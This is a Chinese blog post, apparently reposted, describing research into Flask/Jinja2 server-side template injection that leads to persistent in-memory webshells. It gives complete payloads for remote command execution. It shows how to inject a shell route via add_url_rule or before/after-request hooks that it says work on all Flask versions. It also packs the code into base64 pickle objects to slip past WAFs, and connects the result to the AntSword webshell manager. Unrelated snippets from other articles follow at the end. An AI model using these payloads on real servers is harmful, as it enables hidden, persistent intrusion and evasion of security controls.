【ABKing】记一次Python SSTI的内存马技术研究

news/2025/1/17 11:35:49/文章来源:https://www.cnblogs.com/ABKing/p/18663225

通过对Python SSTI的技术研究,发现网上的一些Payload具有局限性,并非能直接使用,踩了一些坑,写出了自己的独创Payload

0x00 起因

有个用户单位反馈,HW期间被攻击队打了个RCE,并且提供了攻击队的报告和防火墙的流量。正好临近年关,闲来无事,想到已经很久没有认真钻研技术了,遂开始进行研究。
image
经过分析,这似乎是SSTI的注入手法
通过对base64解码,发现注入了tornado的内存马

0x01 对Flask SSTI的研究

之前对SSTI不甚熟悉,正好借此机会,对SSTI进行研究,经过查找相关资料,发现最广泛的是Flask SSTI,于是先从这里入手
环境搭建:https://github.com/vulhub/vulhub/blob/master/flask/ssti/
或者可以直接使用在线的靶场,https://buuoj.cn/challenges#[Flask]SSTI
引起Flask SSTI的简单代码如下:

from jinja2 import Templateapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name', 'guest')t = Template("Hello " + name)return t.render()if __name__ == "__main__":app.run()

通过以下payload可以判断存在SSTI
image
于是可以尝试使用python中的魔术方法:

__class__         当前类
__mro__           所有父类
__subclasses__()  所有子类
__globals__       全局变量
__builtins__      Python的所有“内置”标识符的直接访问
__import__        导入模块

有了以上基础后,我们可以找到一个RCE的Payload
{{ ''.__class__.__mro__[-1].__subclasses__()[67].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
image
至此,已经完成了RCE

0x02 对Python Flask 注入简单内存马的研究

根据内存马的原理,其实就是增加一条路由,在这条路由中增加一些代码操作
恰好存在这样一个方法,app.add_url_rule()
这里我使用的环境是
flask==1.1.1,jinja2==2.10.3
网上的Payload:

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}
)


sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())
经过测试,这其中的url_for,sys,app,request等变量,并不能直接使用,会报错 该变量未定义
经过不懈的努力,终于发现了在flask.globals中存在上下文变量
image
由此,我们显然可以得到一个Payload
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['__import__']('flask').globals.current_app.add_url_rule('/abking123','shell',lambda :__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read()) }}
简直完美啊,通过__builtins__访问内置的__import__来导入flask,通过flask.globals访问current_app,这样就可以调用add_url_rule()了
那么结果怎么样呢?
image
emmmmmmm,这个报错也太神奇了吧,语法错误???
经过一个字符一个字符查看,不可能出现语法错误的,搜了半天,都没结果
在StackOverflow上面勉强得到的类似的结论:逻辑比较复杂,不要在jinja2的模板中使用复杂的逻辑,比如lambda匿名函数
只能稍微修改一下Payload了
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('flask').globals.current_app.add_url_rule('/abking123','abking123',lambda :__import__('os').popen(__import__('flask').globals.request.args.get('abking')).read())") }}
接着访问 /abking123?abking=whoami
image
至此,flask的内存马就注入完毕,并且可以正常使用了

但是!在最新版的flask中,我们会发现存在问题:
image
flask最新版本做了限制,在setupmethod装饰器中增加了校验函数,这样一来就会导致在任何请求中,都无法再调用到使用了setupmethod装饰器的函数。
有什么办法解决吗?
当然有!
类似java中filter的概念,flask在每个请求前都有一个before_request,在每个请求后都有一个after_request
具体使用的时候就是在before_request请求列表或after_request中append一个新的函数
这里给出的一个使用了before_request的通杀新老版本的Payload:
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get(\'abking\')).read())\")==None else None)") }}
同样地,还有使用after_request的通杀新老版本的Payload:
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get(\'abking\')).read())\")==None else resp)") }}

0x03 加密传输

恰好这次攻击队的报告给了我灵感,使用pickle.loads()进行反序列化,可以完成加密传输
pickle中__reduce__魔法函数会在一个对象被反序列化时自动执行,我们可以通过在__reduce__魔法函数内植入恶意代码的方式进行任意命令执行。

以下是一个代码示例:

import pickle
import base64code = """
def f():return __import__('os').popen('whoami').read()
f()
"""class Exp:def __reduce__(self):return __builtins__.exec, (code,)base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)
pickle.loads(base64.b64decode(base64_class))

执行结果如下:
image

此时,将控制台输出的base64编码后的字符串放入到SSTI的Payload中
可以得到
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhBAAAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgpCmYoKQpxAYVxAlJxAy4='))") }}
这样可以起到编码绕过WAF的作用,并且代码逻辑还可以更复杂一点,全部放入base64编码的字符串中,那么接下来只要寻找到蚁剑/冰蝎/哥斯拉的python格式的webshell就可以了。
但是,经过我的广泛搜索,竟然找不到python的webshell,唯一的蚁剑的自带的python格式的webshell也仅适用于python2,自己写一个吧,太麻烦了,这是下下策。

0x04 峰回路转完成蚁剑连接

经过我的不懈努力,在蚁剑的官方微信公众号上面发现了一个功能( https://mp.weixin.qq.com/s/tPPg4VgQH-n2O3Lnfg8lVA )
image
竟然可以直连RCE漏洞,还没有语言的限制,这也太爽了吧
开始操作!
低版本flask支持add_url_rule()

import pickle
import base64code = """
def f():return __import__('flask').globals.current_app.add_url_rule('/abking123', 'abking123', lambda: __import__('os').popen(__import__('flask').globals.request.form['abking']).read(), methods=['POST'])
f()
"""class Exp:def __reduce__(self):return __builtins__.exec, (code,)base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

这里需要注意的是,一定要methods=['POST'],因为后续蚁剑连接的时候只支持POST方法

任意版本flask通杀1:

import pickle
import base64code = """
def f():return __import__('flask').globals.current_app.before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())")==None else None)
f()
"""class Exp:def __reduce__(self):return __builtins__.exec, (code,)base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

任意版本flask通杀2:

import pickle
import base64code = """
def f():return __import__('flask').globals.current_app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())")==None else resp)
f()
"""
class Exp:def __reduce__(self):return __builtins__.exec, (code,)base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

注意:request.args修改成request.form的原因是蚁剑仅支持POST方法连接

将得到的base64编码后的字符串放入SSTI的Payload中,那么最终通杀低版本flask的加密Payload为
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFjWAAAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmFkZF91cmxfcnVsZSgnL2Fia2luZzEyMycsICdhYmtpbmcxMjMnLCBsYW1iZGE6IF9faW1wb3J0X18oJ29zJykucG9wZW4oX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLnJlcXVlc3QuZm9ybVsnYWJraW5nJ10pLnJlYWQoKSwgbWV0aG9kcz1bJ1BPU1QnXSkKZigpCnEBhXECUnEDLg=='))") }}
使用app.before_request_funcs.setdefault()函数的通杀任意版本flask的加密Payload为
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhpAQAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmJlZm9yZV9yZXF1ZXN0X2Z1bmNzLnNldGRlZmF1bHQoTm9uZSwgW10pLmFwcGVuZChsYW1iZGE6IENtZFJlc3AgaWYgX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLnJlcXVlc3QuZm9ybS5nZXQoJ2Fia2luZycpIGFuZCBleGVjKCJnbG9iYWwgQ21kUmVzcDtDbWRSZXNwPV9faW1wb3J0X18oJ2ZsYXNrJykubWFrZV9yZXNwb25zZShfX2ltcG9ydF9fKCdvcycpLnBvcGVuKF9faW1wb3J0X18oJ2ZsYXNrJykuZ2xvYmFscy5yZXF1ZXN0LmZvcm0uZ2V0KCdhYmtpbmcnKSkucmVhZCgpKSIpPT1Ob25lIGVsc2UgTm9uZSkKZigpCnEBhXECUnEDLg=='))") }}
使用app.after_request_funcs.setdefault()函数的通杀任意版本flask的加密Payload为
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhtAQAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmFmdGVyX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSByZXNwOiBDbWRSZXNwIGlmIF9faW1wb3J0X18oJ2ZsYXNrJykuZ2xvYmFscy5yZXF1ZXN0LmZvcm0uZ2V0KCdhYmtpbmcnKSBhbmQgZXhlYygiZ2xvYmFsIENtZFJlc3A7Q21kUmVzcD1fX2ltcG9ydF9fKCdmbGFzaycpLm1ha2VfcmVzcG9uc2UoX19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdmbGFzaycpLmdsb2JhbHMucmVxdWVzdC5mb3JtLmdldCgnYWJraW5nJykpLnJlYWQoKSkiKT09Tm9uZSBlbHNlIHJlc3ApCmYoKQpxAYVxAlJxAy4='))") }}
其中,eval可以用exec互相代替。
执行结果如下:
image
启动蚁剑连接! http://127.0.0.1:5000/abking123 密码abking
注意:如果蚁剑报错405,原因就是蚁剑只支持POST方法连接,所以一定需要methods=['POST']
image
image
至此,完成任意版本flask的加密SSTI的蚁剑内存马注入!

0x04 参考

https://www.cnblogs.com/gxngxngxn/p/18181936
https://tiangonglab.github.io/blog/tiangongarticle038/

0x04 碎碎念

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/870712.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

查询SQL Server更改记录的语句-170315

指定数据库,然后: select Name,Create_date,Modify_Date from sys.objects where type in (U,P, V,F, TR, FN) order by Modify_Date desc.zstitle { width: 280px; text-align: center; font-size: 26px } .zsimgweixin { width: 280px } .zsimgali { width: 280px; paddin…

三层24千兆+4万兆光电可选网管型嵌入式交换机核心模块SW-24G4F-301EM

交换机核心模块,三层交换机模块,嵌入式交换机,网管型交换机,SW-24G4F-301EM先来解读一下标题,这是一款交换机核心模块,也就是交换机的核心部分模块化了;方便为了嵌入式集成;是管理型(也就是核心模块带了软件,对应底板结合自身板框,根据参考设计随性设计),还是三层管理;可以最…

SQL-按自定义格式进行编号的SQL自定义函数.090119

生成格式如:DT.EMP.0000000001的自增emp_id, 加入EmpBaseINfo表中。 --生成格式如DT.EMP.0000000001 【Vegas Add】 ALTERFUNCTION[dbo].[Get_EmpBaseInfo_AccountID](@RowIDasint) RETURNSnvarchar(50) as begin declare@oidnvarchar(50) declare@headStrnvarc…

C#中如何使用异步编程

在 C# 中,异步编程主要通过 async 和 await 关键字来实现。异步编程的目的是让程序在执行耗时操作(如 I/O 操作、网络请求等)时不会阻塞主线程,从而提高程序的性能。 1. 异步编程的核心概念 async 关键字用于标记一个方法为异步方法。 异步方法的返回类型通常是 Task、Task…

windows安装tomcat10.240108

​下载安装jdk17 :jdk-17_windows-x64_bin.exe 配置JAVA环境变量 JAVA_HOME:C:\Program Files\Java\jdk-17 PATH:%Java_Home%\bin;%Java_Home%\jre\bin;拷贝tomcat10(下载地址:https://tomcat.apache.org/)到目录,设置环境变量 CATALINA_HOME:D:\apache-tomcat-10.1.12…

21岁前简单谈谈工作过的暑假工兼职

21岁前简单谈谈工作过的暑假工/兼职 第一份工作,小时工: 小学:亲戚厂里忙,找了一堆小孩去帮忙,干了5个小时左右,就是把不知名的明星的的圆形半身照塞进一个纸袋里,应该是谷子或者代言。收货第一桶金,不到100,好像是70左右,后面还是上交了。 第二份: 亲戚让我辅导他儿…

功率器件热设计基础(五)——功率半导体热容

功率器件热设计基础系列文章会比较系统地讲解热设计基础知识,相关标准和工程测量方法。/ 前言 / 功率半导体热设计是实现IGBT、碳化硅SiC高功率密度的基础,只有掌握功率半导体的热设计基础知识,才能完成精确热设计,提高功率器件的利用率,降低系统成本,并保证系统的可靠性…

挖矿病毒的终极解决方法.201010

1,编写sh脚本:rm_wk.sh #!/bin/bash PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin export PATH kill -9 $(ps -ef | grep kdevtmpfsi| grep -v grep | awk {print $2}) kill -9 $(ps -ef | grep kinsing| grep -v grep | awk {print $2}) rm -r…

消息队列实战指南:三大MQ 与 Kafka 适用场景全解析

前言:在当今数字化时代,分布式系统和大数据处理变得愈发普遍,消息队列作为其中的关键组件,承担着系统解耦、异步通信、流量削峰等重要职责。ActiveMQ、RabbitMQ、RocketMQ 和 Kafka 作为市场上极具代表性的消息队列产品,各自拥有独特的功能特性与适用场景。 本博客旨在深入…

米尔基于瑞芯微RK3576有多强?实测轻松搞定三屏八摄像头

RK3576参数强劲 RK3576是瑞芯微推出的一款高性能AIoT处理器,这款芯片以其卓越的计算能力、多屏幕支持、强大的视频编解码能力和高效的协处理器而闻名。三屏8摄像头轻松搞定 米尔基于他们推出的MYD-LR3576开发板开发了一个三屏异显,8路摄像头输入的DEMO, 实测下来,RK3576轻松…

word图片隐藏在文字里了的终极解决办法.210525

终极解决方案: 点击该图片,然后,选择正文,即可。.zstitle { width: 280px; text-align: center; font-size: 26px } .zsimgweixin { width: 280px } .zsimgali { width: 280px; padding: 0px 0px 50px 0px } .zsleft { float: left } .zsdiv { display: flex; flex-flow:co…

Python IDLE清屏工具 ClearWindow

Python各个版本的IDLE编程环境都没有清屏的方法,下面介绍一种在Options菜单下面增加【Clear Shell Window】以下两个文件 ClearWindow.py以及config-extensions.def需要复制到C:\Program Files\Python311\Lib\idlelib 重启Python IDLE以后,按下快捷键Ctrl+W清屏。